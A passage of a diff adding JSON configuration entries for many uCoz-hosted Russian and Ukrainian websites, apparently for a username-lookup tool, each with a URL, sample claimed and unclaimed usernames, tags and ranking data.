"http://ukrelektrik.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2914242 + }, + "mark.szenprogs.ru": { + "engine": "uCoz", + "urlMain": "http://mark.szenprogs.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2737851 + }, + "berea.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://berea.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "japara.clan.su": { + "engine": "uCoz", + "urlMain": "http://japara.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "azovmore.dn.ua": { + "engine": "uCoz", + "urlMain": "http://azovmore.dn.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "parusa-magellana.ru": { + "engine": "uCoz", + "urlMain": "http://parusa-magellana.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red" + }, + "zerkalastekla.ru": { + "engine": "uCoz", + "urlMain": "http://zerkalastekla.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zdorov10.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zdorov10.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "russianfoxmail.at.ua": { + "engine": "uCoz", + "urlMain": "http://russianfoxmail.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "skorozamuj.com": { + "engine": "uCoz", + "urlMain": "http://skorozamuj.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ourfunnypets.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ourfunnypets.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lname.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lname.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kino-horror.ru": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "urlMain": "http://kino-horror.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "moedelo.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://moedelo.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "umorbos.at.ua": { + "engine": "uCoz", + "urlMain": "http://umorbos.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ua" + ] + }, + "centr-spektr.ru": { + "engine": "uCoz", + "urlMain": "http://centr-spektr.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ofc65.ru": { + "engine": "uCoz", + "urlMain": "http://ofc65.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "avangard-basket.at.ua": { + "engine": "uCoz", + "urlMain": "http://avangard-basket.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xitlar.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://xitlar.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mechta-sev.at.ua": { + "engine": "uCoz", + "urlMain": "http://mechta-sev.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "soundfactory.ucoz.org": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://soundfactory.ucoz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4563409 + }, + "sibcoins.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sibcoins.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dushschool.moy.su": { + "engine": "uCoz", + "urlMain": "http://dushschool.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "halol.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://halol.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 12748883 + }, + "v3de.ru": { + "engine": "uCoz", + "urlMain": "http://v3de.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "vgorah.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vgorah.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "school-23elista.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://school-23elista.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2788790 + }, + "videhelp-comp.my1.ru": { + "engine": "uCoz", + "urlMain": "http://videhelp-comp.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "trays.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://trays.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum", + "ru" + ] + }, + "xn--80aqkf5cb.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--80aqkf5cb.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "school1065.moy.su": { + "engine": "uCoz", + "urlMain": "http://school1065.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "baykovoshkola.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://baykovoshkola.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "naruto-fan.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://naruto-fan.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "oldones.org": { + "engine": "uCoz", + "urlMain": "http://oldones.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3282252 + }, + "coffeeworld.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://coffeeworld.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "trainz-vl.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://trainz-vl.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6995958 + }, + "kashanya.com": { + "engine": "uCoz", + "urlMain": "http://kashanya.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "novomoskovsk.my1.ru": { + "engine": "uCoz", + "urlMain": "http://novomoskovsk.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "polotno.at.ua": { + "engine": "uCoz", + "urlMain": "http://polotno.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "focus-pocus.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://focus-pocus.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "resource-mta.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://resource-mta.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "hulyaganka.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://hulyaganka.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "symbian9.clan.su": { + "engine": "uCoz", + "urlMain": "http://symbian9.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "love-magic.clan.su": { + "engine": "uCoz", + "urlMain": "http://love-magic.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mix-best.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mix-best.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ], + "alexaRank": 2351759 + }, + "southparkz.net": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://southparkz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 614025 + }, + "shporgalki.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://shporgalki.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vivasan.mobi": { + "engine": "uCoz", + "urlMain": "http://vivasan.mobi", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 4789531 + }, + "budo52.ru": { + "engine": "uCoz", + "urlMain": "http://budo52.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru", + "sport" + ], + "alexaRank": 7451934 + }, + "iceberg-116.ru": { + "engine": "uCoz", + "urlMain": "http://iceberg-116.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "android-gameworld.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://android-gameworld.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 559673 + }, + "cosmoforum.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cosmoforum.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum" + ] + }, + "mastersoap.ru": { + "engine": "uCoz", + "urlMain": "http://mastersoap.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "club-gas.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://club-gas.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 3148854 + }, + "mychildren.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mychildren.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7027071 + }, + "icook.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://icook.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "music-one.my1.ru": { + "engine": "uCoz", + "urlMain": "http://music-one.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7565485 + }, + "podolog.su": { + "engine": "uCoz", + "urlMain": "http://podolog.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "school2dobrinka.ru": { + "engine": "uCoz", + "urlMain": "http://school2dobrinka.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7539499 + }, + "futajik.at.ua": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://futajik.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 2373708 + }, + "masterkosta.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://masterkosta.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6471976 + }, + "vip-cccp.clan.su": { + "engine": "uCoz", + "urlMain": "http://vip-cccp.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dzhida2000.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://dzhida2000.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "softal.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://softal.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "5level.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://5level.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "game-mobi.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://game-mobi.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "dreamteam43.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://dreamteam43.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2663173 + }, + "liozno.info": { + "engine": "uCoz", + "urlMain": "http://liozno.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "snegovaya-pad.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://snegovaya-pad.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "razvilnoe.ru": { + "engine": "uCoz", + "urlMain": "http://razvilnoe.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "avto-box.at.ua": { + "engine": "uCoz", + "urlMain": "http://avto-box.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "smarton.at.ua": { + "engine": "uCoz", + "urlMain": "http://smarton.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 9782826 + }, + "rielt55.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rielt55.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "anime-grand.moy.su": { + "engine": "uCoz", + "urlMain": "http://anime-grand.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xemera.at.ua": { + "engine": "uCoz", + "urlMain": "http://xemera.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mistoodesa.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://mistoodesa.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "coins.my1.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://coins.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "shkola3.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://shkola3.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4615760 + }, + "pmpkbirsk.ucoz.org": { + "engine": "uCoz", + "urlMain": "http://pmpkbirsk.ucoz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mystyle.at.ua": { + "engine": "uCoz", + "urlMain": "http://mystyle.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "wow-game.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://wow-game.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 414268 + }, + "csi.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://csi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "smart-phone.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://smart-phone.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sense.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://sense.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rcprim.ru": { + "engine": "uCoz", + "urlMain": "http://rcprim.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "marchenkov.do.am": { + "engine": "uCoz", + "urlMain": "http://marchenkov.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "taxi-belgorod.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://taxi-belgorod.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tsibulskiy.my1.ru": { + "engine": "uCoz", + "urlMain": "http://tsibulskiy.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "doytrunt.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://doytrunt.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "naruto-rolegame.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://naruto-rolegame.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "domfrunze.kg": { + "engine": "uCoz", + "urlMain": "http://domfrunze.kg", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pc-world.at.ua": { + "engine": "uCoz", + "urlMain": "http://pc-world.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kraskiprazdnika.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kraskiprazdnika.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "santeh-sinfo.ru": { + "engine": "uCoz", + "urlMain": "http://santeh-sinfo.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xristos.vo.uz": { + "engine": "uCoz", + "urlMain": "http://xristos.vo.uz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "molodezh-ua.at.ua": { + "engine": "uCoz", + "urlMain": "http://molodezh-ua.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "101vzvod.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://101vzvod.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "si-sv.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://si-sv.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john", + "alexaRank": 303536 + }, + "actikom.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://actikom.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "school9korolev.moy.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://school9korolev.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3354755 + }, + "metanoia.at.ua": { + "engine": "uCoz", + "urlMain": "http://metanoia.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "motomanual.at.ua": { + "engine": "uCoz", + "urlMain": "http://motomanual.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mlm.at.ua": { + "engine": "uCoz", + "urlMain": "http://mlm.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ohypnose.ru": { + "engine": "uCoz", + "urlMain": "http://ohypnose.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "musicbunker.ru": { + "engine": "uCoz", + "urlMain": "http://musicbunker.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5949746 + }, + "edumonch.ru": { + "engine": "uCoz", + "urlMain": "http://edumonch.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4837317 + }, + "futajist-studio.moy.su": { + "engine": "uCoz", + "urlMain": "http://futajist-studio.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ksmsp.ru": { + "engine": "uCoz", + "urlMain": "http://ksmsp.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "worldofdragonage.ru": { + "engine": "uCoz", + "urlMain": "http://worldofdragonage.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 5709035 + }, + "programm.at.ua": { + "engine": "uCoz", + "urlMain": "http://programm.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "marym.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://marym.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aikido-mariupol.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://aikido-mariupol.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zapravkaavto.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://zapravkaavto.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 8974969 + }, + "mir-stalkera.ru": { + "engine": "uCoz", + "urlMain": "http://mir-stalkera.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "maslinka.at.ua": { + "engine": "uCoz", + "urlMain": "http://maslinka.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "talimger.org": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "urlMain": "http://talimger.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 239259 + }, + "fanacmilan.com": { + "engine": "uCoz", + "urlMain": "http://fanacmilan.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 5471650, + "disabled": true + }, + "allmobile.vo.uz": { + "engine": "uCoz", + "urlMain": "http://allmobile.vo.uz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gorposmos.ru": { + "engine": "uCoz", + "urlMain": "http://gorposmos.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "css-play4fun.ru": { + "engine": "uCoz", + "urlMain": "http://css-play4fun.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "unreal.at.ua": { + "engine": "uCoz", + "urlMain": "http://unreal.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kaiserslautern.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://kaiserslautern.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nordar.at.ua": { + "engine": "uCoz", + "urlMain": "http://nordar.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "7x.net.ua": { + "engine": "uCoz", + "urlMain": "http://7x.net.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "icq-telefon.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://icq-telefon.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "salutm.ru": { + "engine": "uCoz", + "urlMain": "http://salutm.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7662520 + }, + "azhack.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://azhack.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "admin-soft.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://admin-soft.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "grodnofish.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://grodnofish.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kinohouse.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kinohouse.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spectrum-z.ru": { + "engine": "uCoz", + "urlMain": "http://spectrum-z.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "satsoft.at.ua": { + "engine": "uCoz", + "urlMain": "http://satsoft.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "theatre.my1.ru": { + "engine": "uCoz", + "urlMain": "http://theatre.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "photoaura.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://photoaura.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "stroy-s-nami.ucoz.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://stroy-s-nami.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god" + }, + "ltsai.at.ua": { + "engine": "uCoz", + "urlMain": "http://ltsai.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "fst-kolos.do.am": { + "engine": "uCoz", + "urlMain": "http://fst-kolos.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mozga-net.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mozga-net.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5613210 + }, + "promalp.dp.ua": { + "engine": "uCoz", + "urlMain": "http://promalp.dp.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "css-nn-52-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://css-nn-52-rus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zdesvsyo.com": { + "engine": "uCoz", + "urlMain": "http://zdesvsyo.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "sebastopol.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sebastopol.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "autosila.at.ua": { + "engine": "uCoz", + "urlMain": "http://autosila.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ladpremiya.ru": { + "engine": "uCoz", + "urlMain": "http://ladpremiya.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kaz.ionyk.ru": { + "engine": "uCoz", + "urlMain": "http://kaz.ionyk.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "electronic-component.org": { + "engine": "uCoz", + "urlMain": "http://electronic-component.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7078895 + }, + "xn--80aepdb4ag.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--80aepdb4ag.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "remont56.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://remont56.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "personagra-ta.ru": { + "engine": "uCoz", + "urlMain": "http://personagra-ta.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "compline.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://compline.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "thelike.ru": { + "engine": "uCoz", + "urlMain": "http://thelike.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 6696802 + }, + "wwork.my1.ru": { + "engine": "uCoz", + "urlMain": "http://wwork.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fs-mods-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://fs-mods-rus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2022177 + }, + "show.co.ua": { + "engine": "uCoz", + "urlMain": "http://show.co.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "viupetra.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://viupetra.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5005149 + }, + "irteam.ru": { + "engine": "uCoz", + "urlMain": "http://irteam.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zvukinadezdy.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zvukinadezdy.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4494749 + }, + "ps-cs.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://ps-cs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4701999 + }, + "gta-fan-zone.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gta-fan-zone.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tovyanskaya.at.ua": { + "engine": "uCoz", + 